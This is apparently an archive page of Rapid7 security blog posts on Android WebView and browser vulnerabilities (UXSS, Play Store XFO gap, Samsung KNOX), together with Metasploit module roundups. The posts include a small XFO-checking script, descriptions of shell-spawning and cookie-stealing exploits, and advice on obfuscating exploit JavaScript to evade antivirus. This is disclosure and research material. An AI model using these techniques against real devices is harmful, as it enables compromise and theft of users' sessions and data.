Bazin For additional details on what's changed and what's current in 4.11.1, please see Thao's most excellent release notes.

R7-2015-02: Google Play Store X-Frame-Options (XFO) Gaps Enable Android Remote Code Execution (RCE)

Vulnerability Summary Due to a lack of complete coverage for X-Frame-Options (XFO) support on Google's Play Store web application domain, a malicious user can leverage either a Cross-Site Scripting (XSS) vulnerability in a particular area of the Google Play Store web application, or a Universal…

Vulnerability Summary Due to a lack of complete coverage for X-Frame-Options (XFO) support on Google's Play Store web application domain, a malicious user can leverage either a Cross-Site Scripting (XSS) vulnerability in a particular area of the Google Play Store web application, or a Universal XSS (UXSS) targeting affected browsers, to remotely install and launch the main intent of an arbitrary Play Store provided Android package (APK). Affected Platforms Many versions of Android 4.3 (Jelly Bean) and earlier ship with browsers with UXSS exposures, as discussed in this Rapid7 blog post. Users of these platforms may also have installed vulnerable aftermarket browsers, as discussed in this TrendLabs blog post. Of the vulnerable population, it is expected that many users are habitually signed into Google services, such as Gmail or YouTube. These mobile platforms are the the ones most at risk. Other browsers may also be affected. Simplified Demonstration of the XFO Gap The following Javascript is sufficient to elicit a response from the play.google.com domain without an appropriate XFO header: document.body.innerHTML="<iframe src='https://play.google.com/store/apps/"+ (new Array(2000)).join('aaaaaaa')+"'></iframe>" The following Ruby script also illustrates the lack of XFO: require 'net/http' require 'uri' uri = URI.parse("https://play.google.com/#{"a" * 10000}") @r = Net::HTTP.get_response uri ret = @r.each_header {|x| puts x} if ret["x-frame-options"] puts ret["x-frame-options"] else puts "Missing x-frame-options!" end Mitigations Using a browser not susceptible to widely known UXSS vulnerabilities, such as Google Chrome, Mozilla Firefox, or the Dolphin Browser, can help mitigate the lack of universal XFO for the play.google.com domain. Not being logged into a Google account while using any browser is also an effective mitigation. Metasploit module description The Metasploit module combines two vulnerabilities to achieve remote code execution on affected Android devices. First, the module exploits a Universal Cross-Site Scripting (UXSS) vulnerability present in versions of Android's open source stock browser (the AOSP Browser) as well as some other browsers, prior to 4.4 (KitKat). Second, the Google Play store's web interface fails to enforce a X-Frame-Options: DENY header on some error pages, and therefore, can be targeted for script injection. As a result, this leads to remote code execution through Google Play's remote installation feature, as any application available on the Google Play store can be installed and launched on the user's device. Credit The Play Store XFO vector was was reported by Joe Vennix of Rapid7, Inc., which leverages a UXSS vulnerability reported by Rafay Baloch. Timeline Dec 12, 2014 (Sat): Initial disclosure to security@android.com, assigned issue ID 4-2061000005664 Jan 07, 2015 (Wed): Disclosure to CERT/CC, assigned VU#715092 Feb 10, 2015 (Tue): Public Disclosure and Metasploit module landed

Weekly Metasploit Wrapup: Android Android Malkovich Android

Hi folks! Sorry about the delay on this week's blog post. I've been responding to a few concerns about this week's Android revelations about the no-patch policy from Google with regard to nearly a billion in-use Android handsets, and incidentally, caught a face cold that's…

Hi folks! Sorry about the delay on this week's blog post. I've been responding to a few concerns about this week's Android revelations about the no-patch policy from Google with regard to nearly a billion in-use Android handsets, and incidentally, caught a face cold that's been floating around Rapid7's delightful open-space office model. I'm back online and fully functional, now, so I'll try to summarize here what I saw and responded to this week. Pre-Jelly Bean Android WebView Patches by http://en.wikipedia.org/wiki/User:Dsimic used under CC-BY")If you somehow missed it, I published a blog post earlier this week about how Google now is telling vulnerability researchers (at least, a couple that I know) that they will no longer be providing patches for pre-Jelly Bean Android. This ended up getting some pickup from such esteemed media outlets as the Wall Street Journal, Forbes, and Taylor Swift, which generated a few thousand comments spread all over the Internet. I'll take a stab at summarizing the critical reaction here, and I promise I'm being sincere when characterizing these sentiments fairly. If I screw it up, please tell me. OEMs don't patch anyway, so who cares? It's true that the security patching for Android is, at best, quite broken. I wrote a post back in November about this issue, and this rejoinder is totally valid. My problem, though, is that we're talking about two different things. One, Google is (now) not interested in working up patches for Android for issues before KitKit (4.4), and two, downstream vendors are very slow on picking up patches from Google (if ever). They're related, to be sure. However, I don't think you can solve the latter problem without solving the former, and there are two problems here for sure. With the second problem, you can easily argue that downstream OEMs, carriers, and retailers are dropping the ball by not applying patches for old, publicly reported vulnerabilities. However, if you consider that Google isn't producing patches any more for shipping and for-sale devices, I feel like there's no longer even a ball to drop for those OEMs. Moreso, I feel like this change in attitude from Google makes it very easy for vendors to shrug and disclaim any responsibility for old vulns on their devices. You can argue this legally, ethically, technically or otherwise and there's room for disagreement, but Google walking away from patches, in my mind makes this state of affairs much worse. Now, with all that said: Today, we can test this! We have two Metasploit modules shipping today that breaks the security model for pre-4.4 WebView: one is fixed upstream, and one remains unfixed. I'm /very/ interested in figuring out which, if either, of these vulnerabilities sees a downstream patch on pre-4.4 handsets. It's a pretty ideal test case, since they were discovered and reported so close to each other. If you keep tabs on downstream devices and patch adoption versus patch creation, I would love to hear from you. Let's work together to see what the practical effects of this policy shift is. Jelly Bean is legacy, so who cares? While it's true that Jelly Bean is two named revisions back, and KitKat adoption is ticking up nicely, it's not like everyone gets to automatically upgrade for free. There are hardware costs, time and convenience costs, the carriers often limit choices or penalize customers for upgrading, people don't know how to upgrade, etc. There's a whole host of reasons, some good, some not, to stick to Jelly Bean. Let's remember that Ice Cream, Gingerbread, and Froyo together account for nearly 15% of tracked Android devices, and these guys are three, four, and five versions back! Heck, if I had an exploit that worked reliably on these phones, and I was the sort to go popping randoms who visit my evil website and snagging personal usernames and passwords, I'd be pretty thrilled to know that 15% of my target base is guaranteed vulnerable. After all, Windows XP accounts for about 18% of the total desktop market share today, and I know for a fact that there's an active criminal and government (and criminal government) marketplace for security bypasses on XP. 15% is good enough for plenty of shady applications. Now, consider that when you add in Jelly Bean, you're talking about nearly half (46%) of all Android phones just by itself. Add to that the way-downrev versions, you come to way over half of all Android phones. So, where 15% is good for bad guys, 60% is way more than four times better. The value for bad guys is exponentially related to the install base. Consider, too, that WinXP went end-of-life for security patches 12 years after initial release. Google's apparent attitude shift about patching WebView became apparent only 2 years (technically, 28 months) after Jelly Bean's release. WebView isn't part of the Android OS anymore, so who cares? Yes, Google took a great leap forward by decoupling WebView from Android as of the Lollipop (5.0) release. I'm thrilled for this, and in five years, I expect the majority of in-use phones will be Lollipop or later. In five years, we'll also be shaking our heads in bewilderment over all those people stuck on KitKat at below, thanks to the above-mentioned broken patch distribution model for handsets. Or not? I hope not. That's just too depressing to consider. Let's move on. It's just WebView, not Jelly Bean, so who cares? If I'm an attacker, and I had to choose one component of Android to focus my exploit efforts on, it'd be WebView, hands down. WebView is the one component that's used in virtually every ad-enabling library to remind me that I still don't care about Clash of Clans, and is used when you don't click "open link in browser" in every web-rendering app. It's even used in the About Phone license page (which itself can lead to exploitation, thanks to some crafty keystrokes from friend-of-the-show Jgor). The fact that Google will patch AudioPlayer, but not WebView, in a pre-4.3 context is frankly baffling. Why they would choose to abandon the best exploit vector an attacker has makes absolutely no sense to me. I use Chrome, not AOSP Browser, so who cares? Chrome (and other browsers, like Firefox and Dolphin), do not use the WebView component, so switching to these browsers for your day-to-day is a great mitigation step. If you're using the bundled AOSP browser on Jelly Bean or prior, stop it. If you're using your carrier's skinned browser, it's almost certainly using WebView as well, so stop that, too. That said, though, the underlying WebView component is still exposed via apps and ad networks. TrendMicro took a look at a bunch of aftermarket browsing, messaging, and other apps, and found that a bunch are still vulnerable. And that's it..? I really do hope that I've captured the criticism here accurately, in an (unironic) fair and balanced way. If I've misstated your favorite argument, or if you have another that I haven't captured here, please comment below, or pick a fight with me on twitter. New Modules While I'll happily talk all day about Android security, this wrapup is intended to cover the changes in Metasploit over the last three weeks and change, and we celebrated HaXmas in there, it's a little outsized. We have 11 new exploits, and 8 new auxiliary modules this week, for a total of 19 new usable modules to kick off 2015. Among those are, suprise, a new Cookie Theft module from Joe Vennix and Rafay Baloch that affects, double surprise, Android Jelly Bean. Will it be patched, ever? Exploit modules Desktop Linux Password Stealer and Privilege Escalation by Jakob Lell Malicious Git and Mercurial HTTP Server For CVE-2014-9390 by Jon Hart exploits CVE-2014-9390 Pandora v3.1 Auth Bypass and Arbitrary File Upload Vulnerability by egyp7, Elizabeth Loyola, Fr330wn4g3, Juan Galiana Lara, Raymond Nunez, _flood, and mubix exploits CVE-2010-4279 ProjectSend Arbitrary File Upload by Brendan Coles and Fady Mohammed Osman WordPress WP Symposium 14.11 Shell Upload by Claudio Viviani and Rob Carr exploits OSVDB-116046 GetGo Download Manager HTTP Response Buffer Overflow by Gabor Seljan and Julien Ahrens exploits CVE-2014-2206 BulletProof FTP Client BPS Buffer Overflow by Gabor Seljan exploits CVE-2014-2973 i-FTP Schedule Buffer Overflow by Gabor Seljan and metacom exploits OSVDB-114279 Lexmark MarkVision Enterpreise Arbitrary File Upload by juan vazquez and Andrea Micalizzi exploits CVE-2014-8741 Microsoft Windows NtApphelpCacheControl Improper Authorization Check by sinn3r and James Forshaw exploits CVE-2015-0002 Oracle MySQL for Microsoft Windows FILE Privilege Abuse by sinn3r and Sean Verity exploits CVE-2012-5613 Auxiliary and post modules ManageEngine Desktop Central Administrator Account Creation by Pedro Ribeiro exploits CVE-2014-7862 MS14-068 Microsfot Kerberos Checksum Validation Vulnerability by juan vazquez, Sylvain Monne, and Tom Maddock exploits CVE-2014-6324 Android Browser "Open in New Tab" Cookie Theft by joev and Rafay Baloch Konica Minolta Password Extractor by Deral "Percentx" Heiland and Pete "Bokojan" Arzamendi Apple Airport ACPP Authentication Scanner by Jon Hart exploits CVE-2003-0270 Viproy CUCDM IP Phone XML Services - Call Forwarding Tool by fozavci exploits CVE-2014-3300 Viproy CUCDM IP Phone XML Services - Speed Dial Attack Tool by fozavci exploits CVE-2014-3300 Windows Outbound-Filtering Rules by Borja Merino

12 Days of HaXmas: A year of Metasploit Android exploits

This post is the ninth in a series, 12 Days of HaXmas, where we take a look at some of more notable advancements and events in the Metasploit Framework over the course of 2014. It has been a busy year for Android exploitation here at…

This post is the ninth in a series, 12 Days of HaXmas, where we take a look at some of more notable advancements and events in the Metasploit Framework over the course of 2014. It has been a busy year for Android exploitation here at Metasploit. As the makers of the greatest pentesting toolkit on the planet, vulnerabilities that affect over 1 billion active devices greatly interest us, not to mention the amazing independent researchers out in the world, such as Rafay Baloch and long-time contributors Joshua Drake and Tim Wright.  Earlier this year I began researching exploitation vectors into Android that could affect the average user, not expecting to find much. I was in for a surprise… The webview_addjavascriptinterface exploit (link) In early February, I was testing a module that Joshua @jduck Drake wrote for exploiting a known vulnerability in the WebView implementation on devices before 4.2 (this represented about 70% of active devices at the time). The issue affected apps that called addJavascriptInterface to inject a Java object into the Javascipt environment. This feature was commonly used by apps with ad components to render their HTML ads. By abusing Java's reflection APIs the Javascript code in the ad could run shell commands. jduck's module implemented an HTTP proxy server that would man-in-the-middle (MITM) the Android device and inject malicious Javascript code into HTTP ads, in order to drop and execute a reverse shell. This worked well but required the attacker to have established a MITM stance on the target. As I tested jduck's module, I ran into some problems (with the sample app I had built, it turns out). Attempting to debug things a bit I opened the malicious Javascript code in the stock Android browser: to my surprise, I got a shell! I reached out to jduck who verified that indeed many stock browsers were vulnerable - 70% of all devices had a built-in browser that was trivially exploitable. This turned out to be a separate, unreported vulnerability in the AOSP Browser app. I was not the first person to notice this either - later I found references to the bug on wooyun.org. With my discovery in hand I tweaked jduck's module a bit to turn it into a browser exploit, added it to Browser Autopwn, and pushed it up for review. The initial module had its share of problems - it was not compatible with 4.0 devices, and it merely gained a shell in the context of the user - many Android permissions were lost along the way (like camera). With a lot of help from community contributor timwr, we were able to get a working Android meterpreter session from the exploit that retained the permission level of the browser. The adobe_reader_pdf_js_interface exploit (link) Some months later, it was reported that the Adobe Reader app for Android exposed injected Java objects to Javascript code running in a PDF. After a bit of frustration, I moved the actual exploit logic into a mixin and was able to get a File format exploit module working that generated a PDF that spawn a Meterpreter session. addJavascriptInterface lives on In many ways, this exploit continues to be effective. For example, apps with ad views that were built before API level 17 are still vulnerable to jduck's original MITM vector. A discussion of the issue can be seen here. Eventually Android 4.4.4 was patched to prevent the Object.getClass call from being used, closing the hole for good on new devices. Android Meterpreter Improvements In late May, community contributor Anwar Mohammed added many improved commands to assist in exfiltrating data from targeted devices. These commands included dump_sms, dump_calllog, and geolocate. Of course, for these commands to work, the Meterpreter process must have the necessary privileges, which depends on the exploited application. For example, some Browser apps would run with webcam permissions, meaning the webcam_snap command was available. The Browser UXSS Dilemma (link) In September I was reading through some public exploit code when something caught my eye - a trivial UXSS vulnerability in the Android stock browser on versions 4.3 and earlier. Security researcher Rafay Baloch had tried to report the vulnerability to Google with no success. UXSS vulnerabilities happen now and then in pretty much every browser, and allow content served by an attacker to access resources they are not supposed to - like cookies and CSRF tokens for another domain (say, bank.com). What was unique about this vuln was that I was sure I had seen it before. And I had - from a 2010 bug in Chromium (reported upstream to WebKit). It's a little mysterious as to how a 2010 bug affected an OS that shipped in mid–2013. Android's copy of WebKit was simply not kept up to date with upstream WebKit, and a bunch of security patches were missed. I had read this before (here is a 2011 presentation where ~20 WebKit bugs were found in Android 2.3, just by running through up-to-date WebKit's layout tests), but had no idea the issue was still this exposed. Since the exploit PoC was already public, I wrapped it into a module with a few sample attacks (UXSS exploitation is incredibly flexible) and we shipped it. After the dust settled, Google responded and backported the patch to the Android 4.3 branch, although downstream adoption from the vendors still lags the upstream 4.3 branch considerably. The UXSS Dilemma Continues (link) Of course, noticing a 3-year-old, previously disclosed vulnerability in Android 4.3's WebKit implementation was just the tip of the iceberg. Rafay continued to test WebKit bugs and successfully found five different UXSS vulnerabilities still present in 4.3! And those are just the ones that were found. A complete privacy breakdown. This kind of thing makes me sad, because not so long ago I was stuck on Android 4.3… Samsung Knox Galaxy RCE (link) In November Quarkslab disclosed an issue affecting Samsung devices with the Knox security component. An arbitrary web page could force the user to install an arbtirary APK as an “update” to Knox. To exploit this, I worked with vulnerability discoverer Andre Molou to write a browser exploit that launched the update process, waited for the apk to be installed, then used an intent URL to launch the apk. The result was a one-click RCE exploit, where the user is essentially bullied into clicking “Install” (see the video). "Open in new tab" Cookie Database Disclosure (link) If you need another reason not to use the 4.3 browser, Rafay discovered that it was possible to open a file URL from an HTTP page by getting the user to choose “Open in new tab”. By combining this with another vulnerability to open the sqlite cookie database as an HTML document in the browser, the entire cookie database (including HTTPOnly cookies) can be stolen, which means an attacker can steal all of your sessions at once. Rafay has a good writeup of this vulnerability on his blog. Luckily Android had already patched this issue in February 2014, but adoption from the downstream vendors that still ship 4.3 devices is slow to none. towelroot local exploit (link) Last but not least, afore-mentioned contributor timwr has done some excellent work porting CVE–2014–3153, a privilege escalation bug in the Linux kernel reported by researcher geohot into a local exploit. This would allow Meterpreter sessions on 4.4 to be upgraded to root (“system” uid 0), although the Android permission context is lost. This module is still awaiting review, so keep an eye out for it in upcoming releases. The Way Forward To escape the WebKit nightmare, users are strongly advised update to 4.4 (Kitkat) or higher as soon as possible. If that's not possible for you, it's time to get a new device. Seriously. Even if you were to replace the AOSP browser with the Chrome app (recommended), many, many apps will likely still be vulnerable to attacks on any WebView components embedded in those apps (including addJavascriptInterface RCE for apps compiled before API level 17). On 4.4 , the WebKit implementation of WebView is replaced with (the much more up-to-date) Chromium, and all these problems disappear. Even better, as of 5.0 (Lollipop), the Chromium system library is updated separately from the OS, allowing regular Play store updates to provide out-of-band patches for the native browser and WebView components. Such a bright future. In 2015, we expect to continue and extend our coverage of mobile and embedded devices, so keep an eye on that Pull Request queue for the up and coming exploits that are no doubt waiting to be discovered!

Weekly Metasploit Wrapup: Exploiting Mobile Security Software

Exploiting Security Software: Android EditionIt's hard not to sound gleeful when you've exploited security software. After all, this is software by and for Our People, people who are nominally In The Know about security. Security software is special, in that it's not merely supposed to…

Exploiting Security Software: Android EditionIt's hard not to sound gleeful when you've exploited security software. After all, this is software by and for Our People, people who are nominally In The Know about security. Security software is special, in that it's not merely supposed to be "secure," but is intended to enhance security for the user when installed and running. So, getting a working exploit together that targets this kind of software tends to feel more rewarding -- the security researcher has bested the security software developer at their own game, one in which the developer is perceived to be at least on better footing when it comes to securing software.This week, we're taking a look at Samsung KNOX. According to the website, this software is intensely rad. It does something with fingerprints, has a bunch of lock symbols all over the place, and promises to protect you from bad guys.Okay, I admit that I have only the vaguest idea of what it's supposed to do -- looks to me that it sandboxes your business data from the rest of your wild and wooly Android environment. Really, the only reason why I know anything at all about KNOX is due to the new Metasploit module that targets it, thanks to the original research by Andre Moulu and the implementation work by Joe Vennix and Joshua jduck Drake.It's a pretty fun attack which ends up irritating your target into acquiescing to installing malware. Joe's also put together a video of the attack in action, documenting the inevitable frustration of hitting the looping "Later" button. The fact that the attacker can make it appear that a security control is nonfunctional is what eventually leads to a total compromise.It's important to note that while this is an Android attack, it's limited just to higher-end Samsung devices that offer KNOX as part of their firmware. Given the apparent disconnects between Android the operating system, the handset manufacturers which implement it, and the carriers which add their own (often unremovable) additions, we can expect more of these handset-targeted attacks to come. This situation is compounded by the fact that Android 5.0 (Lollipop) promises some major shifts in the way the core OS is secured and patched, therefore promoting the downstream providers as the more reliably exploitable targets.In other words, not only is the Android ecosystem itself fractured, we can expect the Android attacker ecosystem to follow suit.New ModulesIn addition to the KNOX exploit discussed above, we have one other exploit and three new auxiliary modules landed this week. Are your colleagues running Quake servers on their workstations? Time to find out, and more importantly, ask why they didn't invite you!Exploit modulesSamsung Galaxy KNOX Android Browser RCE by Joe Vennix, Joshua Drake, and Andre Moulu exploits OSVDB-114590MantisBT XmlImportExport Plugin PHP Code Injection Vulnerability by Egidio Romano and Juan Escobar exploits CVE-2014-7146Auxiliary and post modulesGather Quake Server Information by Jon HartSend Cisco Discovery Protocol (CDP) Packets by Fatih OzavciUNIX Gather Remmina Credentials by Jon Hart

Metasploit Weekly Wrapup: Another Android Universal XSS

Click and Get Owned on Android... AgainThis week, we landed another Metasploit exploit for another Android WebView vulnerability; this time, it's a problem that occurs when replacing the "data" attribute of a given HTML object with a JavaScript URL scheme. Like the last Android security…

Click and Get Owned on Android... AgainThis week, we landed another Metasploit exploit for another Android WebView vulnerability; this time, it's a problem that occurs when replacing the "data" attribute of a given HTML object with a JavaScript URL scheme. Like the last Android security disaster we made a lot of noise about, this affects the stock Android Browser (aka, the one that ships with the Android Open Source Platform, or AOSP) prior to version 4.4, or any Android app that incorporates pre-4.4 WebView. This bug is very similar in its impact to September's vulnerability as well. In fact, it was discovered, reported, and disclosed by the same independent researcher, Rafay Baloch, via his blog, and incorporated into Metasploit by Joe Vennix.According to Google's monthly survey, Android versions prior to 4.4 are running on about 69% of the world's Android phones as of November of 2014. If we believe that Android accounts for 85% of the world's smartphones, and further posit there are about 1.84 billion phones in use by the end of 2014, that comes to a figure of about a billion (with a b) devices out in the world that are vulnerable to this bug, absent a patch.As it happens, Google did patch this vulnerability for Android days after notification, which is great. Today, it's quite possible that handset manufacturers, carriers, aftermarket ROM developers, and even in-the-know consumers can now take Google's upstream patch and apply it to their own devices. Heck, they could write their own Android patches without Google's help. It's open source, after all.The Metasploit Framework is open source, too, but luckily, we don't have a lot of intermediaries between Rapid7 and the end users. If (well, when) Metasploit ships with a security bug, you can bet that Rapid7 will write, validate and publish a fix, and then do what we can to make sure that Metasploit users have every chance to get at those fixes and apply them.This direct-line relationship Rapid7 has with the devices running Metasploit doesn't appear to exist between Google and that vast majority of Android devices. Even though Google published a backport for this bug on September 30, it seems unlikely that the end user of the Android device will ever see that fix without buying a new phone first. For many, many people, buying a new phone just isn't practical; the people who are most likely affected by "legacy" Android bugs are the same people who couldn't afford a fancy "latest" Android handset in the first place.In other words, it looks like a billion phones aren't going to see this patch any time soon, if ever. It's nice that the patch exists, but Google doesn't seem to have any practical way of getting it out to the world.For a platform that's so integral to the human experience of the Internet, this seems kind of a huge problem, and I don't know how to fix it at this point, given the way the Android ecosystem works. Any suggestions?New ModulesIn addition to the Android hotness, we've landed four other new modules this week.Exploit modulesCitrix NetScaler SOAP Handler Remote Code Execution by juan vazquez and Bradley AustinX7 Chat 2.0.5 lib/message.php preg_replace() PHP Code Execution by Fernando Munoz and Juan EscobarXerox Multifunction Printers (MFP) "Patch" DLM Vulnerability by Deral "Percentx" Heiland and Pete "Bokojan" Arzamendi exploits BID-52483Auxiliary and post modulesAndroid Open Source Platform (AOSP) Browser UXSS by joev and Rafay Balochtnftp "savefile" Arbitrary Command Execution by wvu and Jared McNeill exploits CVE-2014-8517

Ahoy! It's the Metasploit Weekly Wrapup: More on Android UXSS and refreshing JSObfu

First things first -- today is International Talk Like a Pirate Day, which is great for me, given my office decor. Arrr! So grab a flagon of grog, and read on, ye landlubbers! Updates to the Android Universal XSS bug (CVE-2014-6041) This has been a…

First things first -- today is International Talk Like a Pirate Day, which is great for me, given my office decor. Arrr! So grab a flagon of grog, and read on, ye landlubbers! Updates to the Android Universal XSS bug (CVE-2014-6041) This has been a pretty busy week for us here in Metasploit Nation. You probably heard about Rafay Baloch's kind of massive SOP-busting Android disclosure affecting the stock Android Open Source browser. Well, we've been digging into this some more, and have a couple new findings to report. First off, it's not limited to just the AOSP browser. Other browsers that use the vulnerable version of WebView are also affected. We've successfully exploited both the Maxthon Browser (which claims 600 million downloads) and the CM Browser (which is has 10 million to 50 million installs). We're confident there are plenty of apps that use WebView that are vulnerable to this UXSS, and so far, I haven't seen a lot of patching activity beyond Google's upstream patches to Android (reported to us by Paul Irish of Google). Of course, patching upstream doesn't really help the downstream users, unless and until the carriers and handset manufacturers roll it out. So, if you're on a pre-4.4 phone (which is likely, given that 75% of all active Android devices are pre-KitKat), be careful out there. Consider using an alternative, non-vulnerable browser -- Google Chrome and Mozilla Firefox are fine choices, assuming you have enough hardware oomph to run them. Second, we've landed a fix to the Metasploit module to better enable integration with BeEF, the Browser Exploitation Framework. BeEF, by Wade Alcorn and friends, is a pretty powerful exploit toolkit that takes advantage of cross-site scripting bugs to "hook" browsers into doing the bidding of the BeEF operator. In fact, we shot a quick five minute video yesterday to demonstrate this functionality. While most demos involving BeEF do silly things like play pirate sea shanties on the victim's device, keep in mind that the security context of the code executed is that of the XSS-vulnerable site. With a universal XSS bug (UXSS) like this, all sites are vulnerable. It becomes trivial for attackers to GET and POST on behalf of the user to any site the user is authenticated to -- Facebook, company webmail, Amazon Ali Baba... the level of hijinks is really only limited by the imagination of the attacker. This is why a breakdown of the Same Origin Policy is so damaging; it's just about the worst thing that can happen to a web browser, or anything with browser-like functionality, short of a full shell. Obfuscating Metasploit-Delivered Javascript Also this week, Wei sinn3r Chen has been busily updating the Metasploit Framework Wiki with new material on obfsucating Javascript code for Metasploit module developers. One of the challenges penetration testers face is not being able to use an exploit against a vulnerable target due to layers of signature-based detections or preventions. As an exploit dev, it's important to take this into consideration during development. There are many ways to do this, of course. Javascript-based exploits are relatively easy to modify, so usually you can just change a few lines and make your exploit undetectable by your target's anti-virus, HIDS, or other protection mechanisms. You can make the browser not cache anything, so some anti-virus products simply do not even see the malicious code. Or you can obfuscate, which provides more automation and easier to maintain. To learn more about Metasploit's JavaScript obfuscation APIs, you can read up on them here. In addition, Wei and Joe Vennix (and friends) are also in the process of spinning out JSObfu as a Ruby gem. It was originally written by James Egypt Lee back in 2011, and it's high time for a refresh. We just stood up the GitHub repo today, so if you'd like to follow along and help out, pull requests accepted. New Modules Over the last week, we've added four new modules -- one exploit, and three auxiliary modules. Exploit modules Phpwiki Ploticus Remote Code Execution by Benjamin Harris and us3r777 exploits CVE-2014-5519 Auxiliary and post modules Wordpress XML-RPC Username/Password Login Scanner by Cenk Kalpakoglu exploits CVE-1999-0502 Windows Gather Remote Desktop Connection Manager Saved Password Extraction by Tom Sellers Windows Gather Applied Patches by mubix and zeroSteiner If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness upon the next official update; you can check for these updates through the Software Updates menu under Administration.

Android browser privacy bug explained [VIDEO]: Whiteboard Wednesday

todb's post earlier this week about the flaw in Android's Open Source Platform browser has been getting a lot of attention this week, and for good reason: By the numbers, Android 4.2 and earlier builds have the vulnerable browser in question, and about 75%…

todb's post earlier this week about the flaw in Android's Open Source Platform browser has been getting a lot of attention this week, and for good reason: By the numbers, Android 4.2 and earlier builds have the vulnerable browser in question, and about 75% of Androids in the world today are using pre-4.4 builds. While not everyone uses the AOSP browser on their phone—certainly Firefox, Chrome, or Dolphin are popular choices—there still could be a lot of people potentially exposed to this issue.While I encourage you to read Tod's original blog post about this, where he walks through the history of the vulnerability in detail, we've also created this brief Whiteboard Wednesday video explainer to walk you through the high-level points. Our VP of Strategic Services, Nick Percoco (@c7five), reviews how exactly this bug works and what it means for most Android phone owners. Additionally, he discusses what corporations need to keep in mind if they have a BYOD policy with employees that are potentially exposed to this vulnerability.Take a look at this week's Whiteboard Wednesday: Android Browser Privacy Bug Explained, and let us know what you think!In addition, if you have any topics you'd like to have us cover, we want to hear 'em—you can drop us a comment here on SecurityStreet or Tweet us at @rapid7—our Whiteboard Wednesday hashtag is #rapid7WbW.  (We love hearing about folks using our Whiteboard Wednesday videos in corporate trainings and executive presentations!)

Featured Research

National Exposure Index 2017

The National Exposure Index is an exploration of data derived from Project Sonar, Rapid7's security research project that gains insights into global exposure to common vulnerabilities through internet-wide surveys.

Learn More

Toolkit

Make Your SIEM Project a Success with Rapid7

In this toolkit, get access to Gartner's report “Overcoming Common Causes for SIEM Solution Deployment Failures,” which details why organizations are struggling to unify their data and find answers from it. Also get the Rapid7 companion guide with helpful recommendations on approaching your SIEM needs.

Download Now

Podcast

Security Nation

Security Nation is a podcast dedicated to covering all things infosec – from what's making headlines to practical tips for organizations looking to improve their own security programs. Host Kyle Flaherty has been knee–deep in the security sector for nearly two decades. At Rapid7 he leads a solutions-focused team with the mission of helping security professionals do their jobs.

Listen Now